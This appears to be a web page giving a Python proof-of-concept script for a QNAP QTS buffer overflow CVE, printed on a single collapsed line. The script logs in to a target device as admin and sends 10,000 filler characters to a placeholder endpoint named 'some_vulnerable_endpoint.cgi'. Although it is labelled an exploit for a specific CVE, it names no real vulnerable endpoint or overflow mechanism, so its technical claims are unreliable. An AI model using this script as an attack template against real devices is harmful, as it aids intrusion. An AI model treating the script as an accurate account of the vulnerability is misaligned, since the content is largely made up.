QNAP QTS缓冲区溢出漏洞(CVE-2025-48721)

# CVE-2025-48721 PoC - QNAP QTS Buffer Overflow # Note: This is a conceptual PoC for educational purposes only # Requires administrator authentication import requests import json TARGET = "http://target-qnap.local:8080" USERNAME = "admin" PASSWORD = "password" def exploit_cve_2025_48721(): """ Exploit buffer overflow in QNAP QTS Requires authenticated admin session """ session = requests.Session() # Step 1: Authenticate as administrator auth_data = { "username": USERNAME, "password": PASSWORD } auth_resp = session.post(f"{TARGET}/cgi-bin/authLogin.cgi", data=auth_data) if auth_resp.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Send malicious payload triggering buffer overflow # Payload contains oversized data exceeding buffer boundary evil_payload = "A" * 10000 # Oversized data exploit_data = { "component": "vulnerable_component", "data": evil_payload, "action": "modify" } exploit_resp = session.post( f"{TARGET}/cgi-bin/some_vulnerable_endpoint.cgi", json=exploit_data ) if exploit_resp.status_code == 200: print("[+] Exploit payload sent") else: print("[-] Exploit failed") return True if __name__ == "__main__": exploit_cve_2025_48721()